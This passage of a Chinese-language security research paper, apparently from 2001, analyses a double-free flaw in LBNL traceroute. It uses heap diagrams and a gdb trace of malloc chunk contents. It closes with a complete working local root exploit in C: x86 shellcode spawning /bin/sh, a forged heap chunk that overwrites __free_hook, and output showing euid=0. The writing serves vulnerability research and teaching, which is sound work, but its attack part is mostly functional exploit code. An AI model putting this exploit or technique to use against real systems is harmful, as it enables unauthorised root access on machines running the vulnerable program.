|<———————– 1024 bytes ——————–>|
+—————————-+—————————-+
| S[0] S[1] … S[l-1] \0 | junk |
+—————————-+—————————-+
^ ^
|__ p |___ strptr
这时候剩余空间strsize为: (1024 – l – 1)
strptr指向 junk的起始
<2>. free(p)
第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓
冲区的开头
|<———————– 1024 bytes ——————–>|
+——-+——————–+—————————-+
| junk1 | S[k] … S[l-1] \0 | junk |
+——-+——————–+—————————-+
^
|___ strptr
这时候p所指向的1024字节大小的缓冲区已经被释放了。
<3>. p = savestr(T)
第二次调用savestr()时，如果字符串T的长度小于strsize(1024 -l -1),
那么savestr()就不会再次调用malloc()分配新内存，而是直接调用了：
….
(void)strcpy(strptr, str);
p = strptr;
strptr += size;
strsize -= size;
return (p);
….
将字符串T拷贝到junk的起始处，而实际上，这块内存已经被释放了！
拷贝的结果如下：
|<———————– 1024 bytes ——————–>|
+——-+——————–+——————–+——-+
| junk1 | S[k] … S[l-1] \0 | T[0] … T[n-1] \0 | junk2|
+——-+——————–+——————–+——-+
^ ^
|__ p |___ strptr
这时，strptr指向了junk2处，strsize = 1024 -l -1 -n -1
p指向原来的chunk起始处。
<4>. free(p)
第二次调用free()时，所指向的实际上是一个未分配的缓冲区，这就导致
一个严重错误。我们看到既然S和T都是我们可以控制的，那么我们就可以
利用前面所说的两种方法中的任意一种来进行攻击！
下面就是调用’-g’参数时函数执行的一个简单流程。
main()
….
case ‘g’:
…
getaddr(gwlist + lsrr, optarg);
getaddr(register u_int32_t *ap, register char *hostname)
{
register struct hostinfo *hi;
(1) hi = gethostinfo(hostname);
*ap = hi->addrs[0];
(2) freehostinfo(hi);
}
struct hostinfo *
gethostinfo(register char *hostname)
{
…
(3) hi = calloc(1, sizeof(*hi));
…
addr = inet_addr(hostname);
if ((int32_t)addr != -1) {
(4) hi->name = savestr(hostname);
hi->n = 1;
(5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
…
(6) hi->addrs[0] = addr;
return (hi);
}
我们看到，每次getaddr中都会释放hostinfo结构中的每个成员，包括hi->name.（1）
而再第二次调用gethostinfo()时，又会经历两次calloc操作(3,5),以及一次赋值
操作(6)。因此看起来并不象我们原来想象的那么简单，关键在于我们能否控制第
二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size.
让我们来跟踪一下：
[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
(gdb) b gethostinfo
Breakpoint 1 at 0×804aae8: file ./traceroute.c, line 1220.
(gdb) r -g 111.111.111.111 -g 0×66.0×77.0×88.0×99 127.0.0.1
Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
111.111.111.111 -g 0×66.0×77.0×88.0×99 127.0.0.1
Breakpoint 1, gethostinfo (hostname=0xbffffdf3 “111.111.111.111″)
at ./traceroute.c:1220
1220 hi = calloc(1, sizeof(*hi));
(gdb) n
1221 if (hi == NULL) {
(gdb) n
1225 addr = inet_addr(hostname);
(gdb) n
1226 if ((int32_t)addr != -1) {
(gdb) p/x addr <– 这是hostname转换后的地址(111.111.111.111)
$2 = 0×6f6f6f6f
(gdb) n <– 下一步要为hostname分配1024字节内存
1227 hi->name = savestr(hostname);
(gdb) n
1228 hi->n = 1;
(gdb) p/x hi->name <– 这是第一次分配返回的地址
$3 = 0×804d518
(gdb) x/8x hi->name -8
[prev_size] [size] [data...]
0×804d510: 0×00000000 0×00000409 0×2e313131 0×2e313131
0×804d520: 0×2e313131 0×00313131 0×00000000 0×00000000
(gdb) n <– 又动态分配了一块内存
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb)
1230 if (hi->addrs == NULL) {
(gdb) p/x hi->addrs <– 这块内存是分配在hi->name + 0×400＋8这个地址
$4 = 0×804d920
(gdb) n
1235 hi->addrs[0] = addr;
(gdb) n
1236 return (hi);
(gdb) x/x hi->addrs
0×804d920: 0×6f6f6f6f <– 注意，将addr存在这个地址了。
(gdb) c
Continuing.
Breakpoint 1, gethostinfo (hostname=0xbffffe06 “0×66.0×77.0×88.0×99″)
at ./traceroute.c:1220
1220 hi = calloc(1, sizeof(*hi));
[ 这时，前面分配的内存已经全被释放了 ]
(gdb) p/x 0×804d510 <– 我们看看原来的hi->name内存的情况
$5 = 0×804d510
(gdb) x/10x 0×804d510
[prev_size] [size] [data...]
0×804d510: 0×0804d920 0×00000af1 0×40108f80 0×40108f80
0×804d520: 0×2e313131 0×00313131 0×00000000 0×00000000
0×804d530: 0×00000000 0×00000000
[ 我们看到我们原来的数据(16个字节)已经改变了 ]
(gdb) n
1221 if (hi == NULL) {
(gdb) x/10x 0×804d510 <— 执行完第一个calloc(),后，prev_size被清零了。
[prev_size] [size] [data...]
0×804d510: 0×00000000 0×00000af1 0×40108f80 0×40108f80
0×804d520: 0×2e313131 0×00313131 0×00000000 0×00000000
0×804d530: 0×00000000 0×00000000
(gdb) n
1225 addr = inet_addr(hostname);
(gdb) n
1226 if ((int32_t)addr != -1) {
(gdb) p/x addr <– 这里意味着我们可以构造一个任意的值，并赋给addr
$6 = 0×99887766
(gdb) n
1227 hi->name = savestr(hostname); <–再次调用savestr()
(gdb) n
1228 hi->n = 1;
(gdb) p/x hi->name
$7 = 0×804d528 <– 注意！hi->name的起始位置 =
0×804d518 + 第一个-g参数的长度(16)
(gdb) x/12x 0×804d510
0×804d510: 0×00000000 0×00000af1 0×40108f80 0×40108f80
0×804d520: 0×2e313131 0×00313131 * 0×36367830 0×3778302e
0×804d530: 0×78302e37 0×302e3838 0×00393978 0×00000000
[ 第二个参数的内容从*号处开始 ]
(gdb) n <– 下面这个calloc将再分配一段内存
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb) n
1230 if (hi->addrs == NULL) {
(gdb) p/x hi->addrs < — 这个地址就是我们第一次savestr()时得到的地址！！！
$8 = 0×804d518
(gdb) p/x sizeof(hi->addrs[0])
$9 = 0×4
(gdb) x/12x 0×804d510 <—
[prev_size] [size] [data...]
0×804d510: 0×0804d518 0×00000011 0×00000000 0×00000000
0×804d520: 0×00000000 0×00000ae1 * 0×36367830 0×3778302e
0×804d530: 0×78302e37 0×302e3838 0×00393978 0×00000000
[ 从上面看到，新分配的内存也是从0x804d510开始的，而且将用户数据区的前8个
字节清零。最顶上的块也移动了16个字节，将0x804d520,0x804d524两个地址的
数据覆盖了。
]
(gdb) n
1235 hi->addrs[0] = addr;
(gdb) p/x hi->addrs[0]
$10 = 0×0
(gdb) n
1236 return (hi);
(gdb) p/x hi->addrs[0]
$11 = 0×99887766
(gdb) p/x &hi->addrs[0]
$12 = 0×804d518
(gdb) x/12x 0×804d510
[prev_size] [size] [data...]
0×804d510: 0×0804d518 0×00000011 0×99887766 0×00000000
0×804d520: 0×00000000 0×00000ae1 * 0×36367830 0×3778302e
0×804d530: 0×78302e37 0×302e3838 0×00393978 0×00000000
[ 注意，addr = 0x99887766被存到了0x804d518处，这个值是我们能控制的 ]
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0×40073f73 in free () at malloc.c:2952
2952 malloc.c: No such file or directory.
[ 在试图free *号开始地址的内存时出错 ]
为了更容易理解一下，我们可以看一下两次调用savestr()时的图:
第一次调用savestr()后，返回地址p0：
|<———————– 1024 bytes ——————–>|
+—————————-+—————————-+
| “111.111.111.111″ \0 | junk |
+—————————-+—————————-+
^
|__ p0
在第二次savestr()后，p0移动到一个新的位置p1＝p0 + strlen(hostname) +1。
由于执行了一个calloc()操作，导致从p2开始的12个字节是我们不能控制的.
而幸运的是，由于有一个”hi->addrs[0] = addr”操作，使得p2前面的四个
字节是我们能控制的
|<———————– 1024 bytes ——————–>|
+——–+———————-+———————+—+
|99887766|0000 0000 0×0ae1|…\0|”0×66.0×77.0×88.0×99″|…|
+——–+———————-+———————+—+
| 4字节 |<— 12字节 —>| ^
p0 p2 |__ p1
接下来要free(p1)了。根据前面介绍的方法，如果要想利用free(p1),
我们必须能控制p1-4(size)或者p1-8(prev_size)的内容，既然我们能控制
p0开始的4个字节，如果我们能设法使得p1与p2重合，那么我们不就可以
控制p1-4了吗？这样就要求第一个”-g”参数长度为3字节，例如”1.1″
再加上最后的’\0′,长度就刚好是4字节了。
|<———————– 1024 bytes ——————–>|
+——–+————————————————+
| “1.1″\0| |
+——–+————————————————+
| 4字节 |
p0
|<———————– 1024 bytes ——————–>|
+——–+————————————————+
| “1.1″\0|”0×66.0×77.0×88.0×99″\0 |
+——–+————————————————+
| 4字节 |
p0 p1
|<———————– 1024 bytes ——————–>|
+——–+—————————-+——————-+
|99887766|0000 0000 0×0ae1|”88.0×99″\0|… |
+——–+—————————-+——————-+
| 4字节 |<— 12字节 —>|<–8字节–>|
p0 p2(p1)
那么下一步的关键就是如何设置chunk->size，以及将我们的伪造的块放在
什么地方了。
inet_addr()有一个”特性”，如果你输入”1.2.3.4 AAAAAA”（注意空格后面
还添加了一些’A'）,它并不会报错，返回值为0×04030201.如果输入
“0xaa.0xbb.0xcc.0xdd AAA”这样的字符串，返回值就是0xddccbbaa.我们
可以将伪造的块放在空格后面，将chunk->size放在0xaa.0xbb.0xcc.0xdd
中。例如，第二个”-g”参数使用”0×1d.0×00.0×00.0×00 fake_chunk”
这样得到的chunk->size=0×0000001d。
0×1d这个值是怎么算出来的呢？
chunk = p1 -8
fake_chunk = p1 + strlen(“0×1d.0×00.0×00.0×00 “)
= p1 + 20
= chunk + 8 + 20
= chunk + 28
= chunk + 0×1c
(0×1c | PREV_INUSE) ==> 0×1d
有人也许会说，为什么不将第一个参数长度设得比较大，例如，超过16
字节，这样16字节后面的部分也会在我们的控制之下，利用这些部分来
构造一个prev_size和size不是更方便吗？我开始也是这么考虑的，但是
实际测试时发现，p2所代表块的已经是top块，就是最顶上的块。free(p1)
时，要求p1-8地址低于p2，因此这种方法行不通。
OK,到这里可以说是大功告成了，下面就可以开始写测试程序了。我们利用的
是unlink下一个块的方法。你会发现，一旦原理搞清楚了，这个测试程序是相
当简洁的。:) 唯一需要知道的，就是__free_hook的地址.如果你有对
/usr/sbin/traceroute的读权限，可以将它拷贝到一个临时目录下，然后使用
gdb，将断点设在exit,然后获取__free_hook.如果没有读权限，可以增加一个
偏移量，自动测试可能的__free_hook,一般按照0×10来递增或递减即可。
/* Exploit for LBNL traceroute with unlinking nextchunk
* - traceroute-ex.c
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by warning3@nsfocus.com (http://www.nsfocus.com)
* 2001/03/08
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0×401091b8 /* __free_hook地址 */
#define VULPROG “/usr/sbin/traceroute”
#define PREV_INUSE 0×1
#define IS_MMAPPED 0×2
char shellcode[] =
”\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90″ /*这一段是为了跳过垃圾数据 */
”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
”\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
”\x80\xe8\xdc\xff\xff\xff/bin/sh”;
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128],fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 – 4 – (strlen (VULPROG) + 1) – (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构。 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0×11223344 & ~PREV_INUSE;
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK – 12;
*ptr++ = codeaddr;
bzero (buf, 128);
/* 设置chunk->size = （（20+8 = 28 = 0×1c） | PREV_INUSE）＝ 0×1d */
memcpy(buf, “0×1d.0×00.0×00.0×00 “, 20);
memcpy(buf+20, fake_chunk, 16);
execle (VULPROG, VULPROG, “-g”, “1.1″, “-g” , buf, “127.0.0.1″, NULL, env);
}/* End of main */
测试结果：
[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
[warning3@redhat-6 malloc]$ ./ex3
bash# id
uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
bash#
★ 结束语：
malloc/free的问题使得在某些平台/系统下，Heap区溢出的危险性大大增加了，
值得引起我们的重视。另外，除了free()可能出问题外，realloc()也可能出问题。
有兴趣的读者可以自行参看一下realloc()的代码。
最初想写这篇文档是在去年10月份，后来由于种种原因，一直拖了下来，
为此被scz骂了很多次。 现在总算完成了。:)
★ 感谢：
感谢Solar Designer，Chris Evans，dvorak，Michel Kaempf无私地奉献了他
们的研究成果。（参见参考文献.）
★ 参考文献：
[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[2] Chris Evans, <<Very interesting traceroute flaw>>
http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html
[3] dvorak ， <<Traceroute exploit + story>>
http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html
[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html
